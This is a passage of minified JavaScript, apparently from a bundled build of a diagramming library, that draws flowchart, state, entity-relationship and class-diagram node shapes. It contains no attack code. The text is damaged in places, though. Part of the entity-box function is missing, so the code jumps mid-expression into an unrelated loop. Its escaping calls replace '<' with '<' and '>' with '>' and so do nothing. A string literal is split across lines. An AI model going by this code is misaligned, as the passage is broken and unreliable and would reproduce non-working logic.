strict";yr();gr();It();aw();Ut();$t();Ht();Xt();Zd();pt();o(Mee,"rectWithTitle")});function sw(t,e,r,n,i,a,s){let u=(t+r)/2,h=(e+n)/2,f=Math.atan2(n-e,r-t),d=(r-t)/2,p=(n-e)/2,m=d/i,g=p/a,y=Math.sqrt(m**2+g**2);if(y>1)throw new Error("The given radii are too small to create an arc between the points.");let v=Math.sqrt(1-y**2),x=u+v*a*Math.sin(f)*(s?-1:1),b=h-v*i*Math.cos(f)*(s?-1:1),T=Math.atan2((e-b)/a,(t-x)/i),w=Math.atan2((n-b)/a,(r-x)/i)-T;s&&w<0&&(w+=2*Math.PI),!s&&w>0&&(w-=2*Math.PI);let k=[];for(let A=0;A<20;A++){let C=A/19,R=T+C*w,I=x+i*Math.cos(R),L=b+a*Math.sin(R);k.push({x:I,y:L})}return k}async function Oee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=e?.padding??0,l=e?.padding??0,u=(e?.width?e?.width:a.width)+s*2,h=(e?.height?e?.height:a.height)+l*2,f=e.radius||5,d=e.taper||5,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.stroke&&(g.stroke=e.stroke),e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:-u/2+d,y:-h/2},{x:u/2-d,y:-h/2},...sw(u/2-d,-h/2,u/2,-h/2+d,f,f,!0),{x:u/2,y:-h/2+d},{x:u/2,y:h/2-d},...sw(u/2,h/2-d,u/2-d,h/2,f,f,!0),{x:u/2-d,y:h/2},{x:-u/2+d,y:h/2},...sw(-u/2+d,h/2,-u/2,h/2-d,f,f,!0),{x:-u/2,y:h/2-d},{x:-u/2,y:-h/2+d},...sw(-u/2,-h/2+d,-u/2+d,-h/2,f,f,!0)],v=Vt(y),x=m.path(v,g),b=i.insert(()=>x,":first-child");return b.attr("class","basic label-container outer-path"),p&&e.look!=="handDrawn"&&b.selectChildren("path").attr("style",p),n&&e.look!=="handDrawn"&&b.selectChildren("path").attr("style",n),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,y,T)},i}var Pee=N(()=>{"use strict";It();Ut();$t();Ht();o(sw,"generateArcPoints");o(Oee,"roundedRect")});async function Bee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=e?.padding??0,u=Math.max(a.width+(e.padding??0)*2,e?.width??0),h=Math.max(a.height+(e.padding??0)*2,e?.height??0),f=-a.width/2-l,d=-a.height/2-l,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:f,y:d},{x:f+u+8,y:d},{x:f+u+8,y:d+h},{x:f-8,y:d+h},{x:f-8,y:d},{x:f,y:d},{x:f,y:d+h}],v=m.polygon(y.map(b=>[b.x,b.y]),g),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container").attr("style",Cn(p)),n&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),p&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),s.attr("transform",`translate(${-u/2+4+(e.padding??0)-(a.x-(a.left??0))},${-h/2+(e.padding??0)-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},i}var Fee=N(()=>{"use strict";It();Ut();$t();Ht();tr();o(Bee,"shadedProcess")});async function $ee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=-l/2,f=-u/2,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:h,y:f},{x:h,y:f+u},{x:h+l,y:f+u},{x:h+l,y:f-u/2}],y=Vt(g),v=p.path(y,m),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),x.attr("transform",`translate(0, ${u/4})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))}, ${-u/4+(e.padding??0)-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.polygon(e,g,b)},i}var zee=N(()=>{"use strict";It();Ut();$t();Ht();o($ee,"slopedRect")});async function Gee(t,e){let r={rx:0,ry:0,classes:"",labelPaddingX:e.labelPaddingX??(e?.padding||0)*2,labelPaddingY:(e?.padding||0)*1};return Jd(t,e,r)}var Vee=N(()=>{"use strict";M2();o(Gee,"squareRect")});async function Uee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+e.padding,l=a.width+s/4+e.padding,u=s/2,{cssStyles:h}=e,f=Ze.svg(i),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=[{x:-l/2+u,y:-s/2},{x:l/2-u,y:-s/2},...Kd(-l/2+u,0,u,50,90,270),{x:l/2-u,y:s/2},...Kd(l/2-u,0,u,50,270,450)],m=Vt(p),g=f.path(m,d),y=i.insert(()=>g,":first-child");return y.attr("class","basic label-container outer-path"),h&&e.look!=="handDrawn"&&y.selectChildren("path").attr("style",h),n&&e.look!=="handDrawn"&&y.selectChildren("path").attr("style",n),Qe(e,y),e.intersect=function(v){return Xe.polygon(e,p,v)},i}var Hee=N(()=>{"use strict";It();Ut();$t();Ht();o(Uee,"stadium")});async function qee(t,e){return Jd(t,e,{rx:5,ry:5,classes:"flowchart-node"})}var Wee=N(()=>{"use strict";M2();o(qee,"state")});function Yee(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{cssStyles:a}=e,{lineColor:s,stateBorder:l,nodeBorder:u}=r,h=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),f=Ze.svg(h),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=f.circle(0,0,14,{...d,stroke:s,strokeWidth:2}),m=l??u,g=f.circle(0,0,5,{...d,fill:m,stroke:m,strokeWidth:2,fillStyle:"solid"}),y=h.insert(()=>p,":first-child");return y.insert(()=>g),a&&y.selectAll("path").attr("style",a),i&&y.selectAll("path").attr("style",i),Qe(e,y),e.intersect=function(v){return Xe.circle(e,7,v)},h}var Xee=N(()=>{"use strict";Ht();Ut();$t();It();o(Yee,"stateEnd")});function jee(t,e,{config:{themeVariables:r}}){let{lineColor:n}=r,i=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),a;if(e.look==="handDrawn"){let l=Ze.svg(i).circle(0,0,14,tJ(n));a=i.insert(()=>l),a.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14)}else a=i.insert("circle",":first-child"),a.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14);return Qe(e,a),e.intersect=function(s){return Xe.circle(e,7,s)},i}var Kee=N(()=>{"use strict";Ht();Ut();$t();It();o(jee,"stateStart")});async function Qee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=(e?.padding||0)/2,l=a.width+e.padding,u=a.height+e.padding,h=-a.width/2-s,f=-a.height/2-s,d=[{x:0,y:0},{x:l,y:0},{x:l,y:-u},{x:0,y:-u},{x:0,y:0},{x:-8,y:0},{x:l+8,y:0},{x:l+8,y:-u},{x:-8,y:-u},{x:-8,y:0}];if(e.look==="handDrawn"){let p=Ze.svg(i),m=Je(e,{}),g=p.rectangle(h-8,f,l+16,u,m),y=p.line(h,f,h,f+u,m),v=p.line(h+l,f,h+l,f+u,m);i.insert(()=>y,":first-child"),i.insert(()=>v,":first-child");let x=i.insert(()=>g,":first-child"),{cssStyles:b}=e;x.attr("class","basic label-container").attr("style",Cn(b)),Qe(e,x)}else{let p=Bs(i,l,u,d);n&&p.attr("style",n),Qe(e,p)}return e.intersect=function(p){return Xe.polygon(e,d,p)},i}var Zee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();tr();o(Qee,"subroutine")});async function Jee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0)*2,e?.width??0),l=Math.max(a.height+(e.padding??0)*2,e?.height??0),u=-s/2,h=-l/2,f=.2*l,d=.2*l,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:u-f/2,y:h},{x:u+s+f/2,y:h},{x:u+s+f/2,y:h+l},{x:u-f/2,y:h+l}],v=[{x:u+s-f/2,y:h+l},{x:u+s+f/2,y:h+l},{x:u+s+f/2,y:h+l-d}];e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=Vt(y),b=m.path(x,g),T=Vt(v),S=m.path(T,{...g,fillStyle:"solid"}),w=i.insert(()=>S,":first-child");return w.insert(()=>b,":first-child"),w.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,y,k)},i}var ete=N(()=>{"use strict";It();$t();Ht();Ut();o(Jee,"taggedRect")});async function tte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=.2*l,d=.2*u,p=u+h,{cssStyles:m}=e,g=Ze.svg(i),y=Je(e,{});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=[{x:-l/2-l/2*.1,y:p/2},...Go(-l/2-l/2*.1,p/2,l/2+l/2*.1,p/2,h,.8),{x:l/2+l/2*.1,y:-p/2},{x:-l/2-l/2*.1,y:-p/2}],x=-l/2+l/2*.1,b=-p/2-d*.4,T=[{x:x+l-f,y:(b+u)*1.4},{x:x+l,y:b+u-d},{x:x+l,y:(b+u)*.9},...Go(x+l,(b+u)*1.3,x+l-f,(b+u)*1.5,-u*.03,.5)],S=Vt(v),w=g.path(S,y),k=Vt(T),A=g.path(k,{...y,fillStyle:"solid"}),C=i.insert(()=>A,":first-child");return C.insert(()=>w,":first-child"),C.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",m),n&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",n),C.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h/2-(a.y-(a.top??0))})`),Qe(e,C),e.intersect=function(R){return Xe.polygon(e,v,R)},i}var rte=N(()=>{"use strict";It();Ut();Ht();$t();o(tte,"taggedWaveEdgedRectangle")});async function nte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+e.padding,e?.width||0),l=Math.max(a.height+e.padding,e?.height||0),u=-s/2,h=-l/2,f=i.insert("rect",":first-child");return f.attr("class","text").attr("style",n).attr("rx",0).attr("ry",0).attr("x",u).attr("y",h).attr("width",s).attr("height",l),Qe(e,f),e.intersect=function(d){return Xe.rect(e,d)},i}var ite=N(()=>{"use strict";It();Ut();$t();o(nte,"text")});async function ate(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s,halfPadding:l}=await ut(t,e,st(e)),u=e.look==="neo"?l*2:l,h=a.height+u,f=h/2,d=f/(2.5+h/50),p=a.width+d+u,{cssStyles:m}=e,g;if(e.look==="handDrawn"){let y=Ze.svg(i),v=TRe(0,0,p,h,d,f),x=wRe(0,0,p,h,d,f),b=y.path(v,Je(e,{})),T=y.path(x,Je(e,{fill:"none"}));g=i.insert(()=>T,":first-child"),g=i.insert(()=>b,":first-child"),g.attr("class","basic label-container"),m&&g.attr("style",m)}else{let y=bRe(0,0,p,h,d,f);g=i.insert("path",":first-child").attr("d",y).attr("class","basic label-container").attr("style",Cn(m)).attr("style",n),g.attr("class","basic label-container"),m&&g.selectAll("path").attr("style",m),n&&g.selectAll("path").attr("style",n)}return g.attr("label-offset-x",d),g.attr("transform",`translate(${-p/2}, ${h/2} )`),s.attr("transform",`translate(${-(a.width/2)-d-(a.x-(a.left??0))}, ${-(a.height/2)-(a.y-(a.top??0))})`),Qe(e,g),e.intersect=function(y){let v=Xe.rect(e,y),x=v.y-(e.y??0);if(f!=0&&(Math.abs(x)<(e.height??0)/2||Math.abs(x)==(e.height??0)/2&&Math.abs(v.x-(e.x??0))>(e.width??0)/2-d)){let b=d*d*(1-x*x/(f*f));b!=0&&(b=Math.sqrt(Math.abs(b))),b=d-b,y.x-(e.x??0)>0&&(b=-b),v.x+=b}return v},i}var bRe,TRe,wRe,ste=N(()=>{"use strict";It();$t();Ht();Ut();tr();bRe=o((t,e,r,n,i,a)=>`M${t},${e} + a${i},${a} 0,0,1 0,${-n} + l${r},0 + a${i},${a} 0,0,1 0,${n} + M${r},${-n} + a${i},${a} 0,0,0 0,${n} + l${-r},0`,"createCylinderPathD"),TRe=o((t,e,r,n,i,a)=>[`M${t},${e}`,`M${t+r},${e}`,`a${i},${a} 0,0,0 0,${-n}`,`l${-r},0`,`a${i},${a} 0,0,0 0,${n}`,`l${r},0`].join(" "),"createOuterCylinderPathD"),wRe=o((t,e,r,n,i,a)=>[`M${t+r/2},${-n/2}`,`a${i},${a} 0,0,0 0,${n}`].join(" "),"createInnerCylinderPathD");o(ate,"tiltedCylinder")});async function ote(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding,l=a.height+e.padding,u=[{x:-3*l/6,y:0},{x:s+3*l/6,y:0},{x:s,y:-l},{x:0,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var lte=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(ote,"trapezoid")});async function cte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=60,l=20,u=Math.max(s,a.width+(e.padding??0)*2,e?.width??0),h=Math.max(l,a.height+(e.padding??0)*2,e?.height??0),{cssStyles:f}=e,d=Ze.svg(i),p=Je(e,{});e.look!=="handDrawn"&&(p.roughness=0,p.fillStyle="solid");let m=[{x:-u/2*.8,y:-h/2},{x:u/2*.8,y:-h/2},{x:u/2,y:-h/2*.6},{x:u/2,y:h/2},{x:-u/2,y:h/2},{x:-u/2,y:-h/2*.6}],g=Vt(m),y=d.path(g,p),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),f&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",f),n&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",n),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,m,x)},i}var ute=N(()=>{"use strict";It();Ut();$t();Ht();o(cte,"trapezoidalPentagon")});async function hte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=vr(ge().flowchart?.htmlLabels),u=a.width+(e.padding??0),h=u+a.height,f=u+a.height,d=[{x:0,y:0},{x:f,y:0},{x:f/2,y:-h}],{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=Vt(d),v=m.path(y,g),x=i.insert(()=>v,":first-child").attr("transform",`translate(${-h/2}, ${h/2})`);return p&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",p),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),e.width=u,e.height=h,Qe(e,x),s.attr("transform",`translate(${-a.width/2-(a.x-(a.left??0))}, ${h/2-(a.height+(e.padding??0)/(l?2:1)-(a.y-(a.top??0)))})`),e.intersect=function(b){return X.info("Triangle intersect",e,d,b),Xe.polygon(e,d,b)},i}var fte=N(()=>{"use strict";pt();It();Ut();$t();Ht();It();gr();Xt();o(hte,"triangle")});async function dte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/8,f=u+h,{cssStyles:d}=e,m=70-l,g=m>0?m/2:0,y=Ze.svg(i),v=Je(e,{});e.look!=="handDrawn"&&(v.roughness=0,v.fillStyle="solid");let x=[{x:-l/2-g,y:f/2},...Go(-l/2-g,f/2,l/2+g,f/2,h,.8),{x:l/2+g,y:-f/2},{x:-l/2-g,y:-f/2}],b=Vt(x),T=y.path(b,v),S=i.insert(()=>T,":first-child");return S.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",d),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,x,w)},i}var pte=N(()=>{"use strict";It();Ut();Ht();$t();o(dte,"waveEdgedRectangle")});async function mte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=100,l=50,u=Math.max(a.width+(e.padding??0)*2,e?.width??0),h=Math.max(a.height+(e.padding??0)*2,e?.height??0),f=u/h,d=u,p=h;d>p*f?p=d/f:d=p*f,d=Math.max(d,s),p=Math.max(p,l);let m=Math.min(p*.2,p/4),g=p+m*2,{cssStyles:y}=e,v=Ze.svg(i),x=Je(e,{});e.look!=="handDrawn"&&(x.roughness=0,x.fillStyle="solid");let b=[{x:-d/2,y:g/2},...Go(-d/2,g/2,d/2,g/2,m,1),{x:d/2,y:-g/2},...Go(d/2,-g/2,-d/2,-g/2,m,-1)],T=Vt(b),S=v.path(T,x),w=i.insert(()=>S,":first-child");return w.attr("class","basic label-container"),y&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",y),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,b,k)},i}var gte=N(()=>{"use strict";It();Ut();$t();Ht();o(mte,"waveRectangle")});async function yte(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=5,f=-l/2,d=-u/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:f-h,y:d-h},{x:f-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d-h}],v=`M${f-h},${d-h} L${f+l},${d-h} L${f+l},${d+u} L${f-h},${d+u} L${f-h},${d-h} + M${f-h},${d} L${f+l},${d} + M${f},${d-h} L${f},${d+u}`;e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=m.path(v,g),b=i.insert(()=>x,":first-child");return b.attr("transform",`translate(${h/2}, ${h/2})`),b.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",n),s.attr("transform",`translate(${-(a.width/2)+h/2-(a.x-(a.left??0))}, ${-(a.height/2)+h/2-(a.y-(a.top??0))})`),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,y,T)},i}var vte=N(()=>{"use strict";It();$t();Ht();Ut();o(yte,"windowPane")});async function H9(t,e){let r=e;if(r.alias&&(e.label=r.alias),e.look==="handDrawn"){let{themeVariables:U}=Qt(),{background:j}=U,te={...e,id:e.id+"-background",look:"default",cssStyles:["stroke: none",`fill: ${j}`]};await H9(t,te)}let n=Qt();e.useHtmlLabels=n.htmlLabels;let i=n.er?.diagramPadding??10,a=n.er?.entityPadding??6,{cssStyles:s}=e,{labelStyles:l,nodeStyles:u}=je(e);if(r.attributes.length===0&&e.label){let U={rx:0,ry:0,labelPaddingX:i,labelPaddingY:i*1.5,classes:""};Zi(e.label,n)+U.labelPaddingX*20){let U=d.width+i*2-(y+v+x+b);y+=U/w,v+=U/w,x>0&&(x+=U/w),b>0&&(b+=U/w)}let A=y+v+x+b,C=Ze.svg(f),R=Je(e,{});e.look!=="handDrawn"&&(R.roughness=0,R.fillStyle="solid");let I=0;g.length>0&&(I=g.reduce((U,j)=>U+(j?.rowHeight??0),0));let L=Math.max(k.width+i*2,e?.width||0,A),E=Math.max((I??0)+d.height,e?.height||0),D=-L/2,_=-E/2;f.selectAll("g:not(:first-child)").each((U,j,te)=>{let Y=qe(te[j]),oe=Y.attr("transform"),J=0,ue=0;if(oe){let ee=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(oe);ee&&(J=parseFloat(ee[1]),ue=parseFloat(ee[2]),Y.attr("class").includes("attribute-name")?J+=y:Y.attr("class").includes("attribute-keys")?J+=y+v:Y.attr("class").includes("attribute-comment")&&(J+=y+v+x))}Y.attr("transform",`translate(${D+i/2+J}, ${ue+_+d.height+a/2})`)}),f.select(".name").attr("transform","translate("+-d.width/2+", "+(_+a/2)+")");let O=C.rectangle(D,_,L,E,R),M=f.insert(()=>O,":first-child").attr("style",s.join("")),{themeVariables:P}=Qt(),{rowEven:B,rowOdd:F,nodeBorder:G}=P;m.push(0);for(let[U,j]of g.entries()){let Y=(U+1)%2===0&&j.yOffset!==0,oe=C.rectangle(D,d.height+_+j?.yOffset,L,j?.rowHeight,{...R,fill:Y?B:F,stroke:G});f.insert(()=>oe,"g.label").attr("style",s.join("")).attr("class",`row-rect-${Y?"even":"odd"}`)}let $=C.line(D,d.height+_,L+D,d.height+_,R);f.insert(()=>$).attr("class","divider"),$=C.line(y+D,d.height+_,y+D,E+_,R),f.insert(()=>$).attr("class","divider"),T&&($=C.line(y+v+D,d.height+_,y+v+D,E+_,R),f.insert(()=>$).attr("class","divider")),S&&($=C.line(y+v+x+D,d.height+_,y+v+x+D,E+_,R),f.insert(()=>$).attr("class","divider"));for(let U of m)$=C.line(D,d.height+_+U,L+D,d.height+_+U,R),f.insert(()=>$).attr("class","divider");if(Qe(e,M),u&&e.look!=="handDrawn"){let j=u.split(";")?.filter(te=>te.includes("stroke"))?.map(te=>`${te}`).join("; ");f.selectAll("path").attr("style",j??""),f.selectAll(".row-rect-even path").attr("style",u)}return e.intersect=function(U){return Xe.rect(e,U)},f}async function I2(t,e,r,n=0,i=0,a=[],s=""){let l=t.insert("g").attr("class",`label ${a.join(" ")}`).attr("transform",`translate(${n}, ${i})`).attr("style",s);e!==rc(e)&&(e=rc(e),e=e.replaceAll("<","<").replaceAll(">",">"));let u=l.node().appendChild(await di(l,e,{width:Zi(e,r)+100,style:s,useHtmlLabels:r.htmlLabels},r));if(e.includes("<")||e.includes(">")){let f=u.children[0];for(f.textContent=f.textContent.replaceAll("<","<").replaceAll(">",">");f.childNodes[0];)f=f.childNodes[0],f.textContent=f.textContent.replaceAll("<","<").replaceAll(">",">")}let h=u.getBBox();if(vr(r.htmlLabels)){let f=u.children[0];f.style.textAlign="start";let d=qe(u);h=f.getBoundingClientRect(),d.attr("width",h.width),d.attr("height",h.height)}return h}var xte=N(()=>{"use strict";It();Ut();$t();Ht();M2();qn();zo();gr();yr();tr();o(H9,"erBox");o(I2,"addText")});async function bte(t,e,r,n,i=r.class.padding??12){let a=n?0:3,s=t.insert("g").attr("class",st(e)).attr("id",e.domId||e.id),l=null,u=null,h=null,f=null,d=0,p=0,m=0;if(l=s.insert("g").attr("class","annotation-group text"),e.annotations.length>0){let b=e.annotations[0];await ow(l,{text:`\xAB${b}\xBB`},0),d=l.node().getBBox().height}u=s.insert("g").attr("class","label-group text"),await ow(u,e,0,["font-weight: bolder"]);let g=u.node().getBBox();p=g.height,h=s.insert("g").attr("class","members-group text");let y=0;for(let b of e.members){let T=await ow(h,b,y,[b.parseClassifier()]);y+=T+a}m=h.node().getBBox().height,m<=0&&(m=i/2),f=s.insert("g").attr("class","methods-group text");let v=0;for(let b of e.methods){let T=await ow(f,b,v,[b.parseClassifier()]);v+=T+a}let x=s.node().getBBox();if(l!==null){let b=l.node().getBBox();l.attr("transform",`translate(${-b.width/2})`)}return u.attr("transform",`translate(${-g.width/2}, ${d})`),x=s.node().getBBox(),h.attr("transform",`translate(0, ${d+p+i*2})`),x=s.node().getBBox(),f.attr("transform",`translate(0, ${d+p+(m?m+i*4:i*2)})`),x=s.node().getBBox(),{shapeSvg:s,bbox:x}}async function ow(t,e,r,n=[]){let i=t.insert("g").attr("class","label").attr("style",n.join("; ")),a=Qt(),s="useHtmlLabels"in e?e.useHtmlLabels:vr(a.htmlLabels)??!0,l="";"text"in e?l=e.text:l=e.label,!s&&l.startsWith("\\")&&(l=l.substring(1)),kn(l)&&(s=!0);let u=await di(i,iv(Ji(l)),{width:Zi(l,a)+50,classes:"markdown-node-label",useHtmlLabels:s},a),h,f=1;if(s){let d=u.children[0],p=qe(u);f=d.innerHTML.split("
    ").length,d.innerHTML.includes("")&&(f+=d.innerHTML.split("").length-1);let m=d.getElementsByTagName("img");if(m){let g=l.replace(/]*>/g,"").trim()==="";await Promise.all([...m].map(y=>new Promise(v=>{function x(){if(y.style.display="flex",y.style.flexDirection="column",g){let b=a.fontSize?.toString()??window.getComputedStyle(document.body).fontSize,S=parseInt(b,10)*5+"px";y.style.minWidth=S,y.style.maxWidth=S}else y.style.width="100%";v(y)}o(x,"setupImage"),setTimeout(()=>{y.complete&&x()}),y.addEventListener("error",x),y.addEventListener("load",x)})))}h=d.getBoundingClientRect(),p.attr("width",h.width),p.attr("height",h.height)}else{n.includes("font-weight: bolder")&&qe(u).selectAll("tspan").attr("font-weight",""),f=u.children.length;let d=u.children[0];(u.textContent===""||u.textContent.includes(">"))&&(d.textContent=l[0]+l.substring(1).replaceAll(">",">").replaceAll("<","<").trim(),l[1]===" "&&(d.textContent=d.textContent[0]+" "+d.textContent.substring(1))),d.textContent==="undefined"&&(d.textContent=""),h=u.getBBox()}return i.attr("transform","translate(0,"+(-h.height/(2*f)+r)+")"),h.height}var Tte=N(()=>{"use strict";yr();qn();It();tr();Xt();zo();gr();o(bte,"textHelper");o(ow,"addText")});async function wte(t,e){let r=ge(),n=r.class.padding??12,i=n,a=e.useHtmlLabels??vr(r.htmlLabels)??!0,s=e;s.annotations=s.annotations??[],s.members=s.members??[],s.methods=s.methods??[];let{shapeSvg:l,bbox:u}=await bte(t,e,r,a,i),{labelStyles:h,nodeStyles:f}=je(e);e.labelStyle=h,e.cssStyles=s.styles||"";let d=s.styles?.join(";")||f||"";e.cssStyles||(e.cssStyles=d.replaceAll("!important","").split(";"));let p=s.members.length===0&&s.methods.length===0&&!r.class?.hideEmptyMembersBox,m=Ze.svg(l),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=u.width,v=u.height;s.members.length===0&&s.methods.length===0?v+=i:s.members.length>0&&s.methods.length===0&&(v+=i*2);let x=-y/2,b=-v/2,T=m.rectangle(x-n,b-n-(p?n:s.members.length===0&&s.methods.length===0?-n/2:0),y+2*n,v+2*n+(p?n*2:s.members.length===0&&s.methods.length===0?-n:0),g),S=l.insert(()=>T,":first-child");S.attr("class","basic label-container");let w=S.node().getBBox();l.selectAll(".text").each((R,I,L)=>{let E=qe(L[I]),D=E.attr("transform"),_=0;if(D){let B=RegExp(/translate\(([^,]+),([^)]+)\)/).exec(D);B&&(_=parseFloat(B[2]))}let O=_+b+n-(p?n:s.members.length===0&&s.methods.length===0?-n/2:0);a||(O-=4);let M=x;(E.attr("class").includes("label-group")||E.attr("class").includes("annotation-group"))&&(M=-E.node()?.getBBox().width/2||0,l.selectAll("text").each(function(P,B,F){window.getComputedStyle(F[B]).textAnchor==="middle"&&(M=0)})),E.attr("transform",`translate(${M}, ${O})`)});let k=l.select(".annotation-group").node().getBBox().height-(p?n/2:0)||0,A=l.select(".label-group").node().getBBox().height-(p?n/2:0)||0,C=l.select(".members-group").node().getBBox().height-(p?n/2:0)||0;if(s.members.length>0||s.methods.length>0||p){let R=m.line(w.x,k+A+b+n,w.x+w.width,k+A+b+n,g);l.insert(()=>R).attr("class","divider").attr("style",d)}if(p||s.members.length>0||s.methods.length>0){let R=m.line(w.x,k+A+C+b+i*2+n,w.x+w.width,k+A+C+b+n+i*2,g);l.insert(()=>R).attr("class","divider").attr("style",d)}if(s.look!=="handDrawn"&&l.selectAll("path").attr("style",d),S.select(":nth-child(2)").attr("style",d),l.selectAll(".divider").select("path").attr("style",d),e.labelStyle?l.selectAll("span").attr("style",e.labelStyle):l.selectAll("span").attr("style",d),!a){let R=RegExp(/color\s*:\s*([^;]*)/),I=R.exec(d);if(I){let 